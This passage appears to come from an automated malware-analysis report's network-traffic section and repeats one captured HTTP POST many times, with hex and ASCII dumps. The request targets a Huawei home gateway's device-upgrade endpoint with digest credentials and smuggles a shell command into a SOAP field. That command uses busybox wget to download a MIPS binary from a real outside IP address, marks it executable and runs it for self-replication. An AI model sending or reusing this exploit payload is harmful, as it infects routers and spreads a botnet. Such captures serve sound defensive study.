6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 